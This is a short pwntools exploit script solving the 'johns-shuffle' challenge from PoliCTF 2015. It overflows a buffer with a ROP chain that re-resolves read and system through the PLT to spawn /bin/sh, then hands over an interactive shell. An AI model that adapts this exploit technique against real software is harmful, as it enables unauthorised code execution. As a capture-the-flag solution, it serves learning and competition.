Solution for johns-shufle from polictf 2015

doit.py

from pwn import *

e = ELF("./johns-shuffle")
rop = ROP(e)

command = "/bin/sh"

# Bypass the shuffling by forcing the dynamic linker to lookup the symbols again
rop.call(e.plt["read"]+6, [0, e.bss(), len(command)+1])
rop.call(e.plt["system"]+6, [e.bss()])

r = process("./johns-shuffle")
#r = remote('shuffle.polictf.it',80)
r.sendlineafter("mistake..\n", "exit"+ "A"*28 + str(rop))
r.sendafter("\n", command+"\x00")

r.interactive()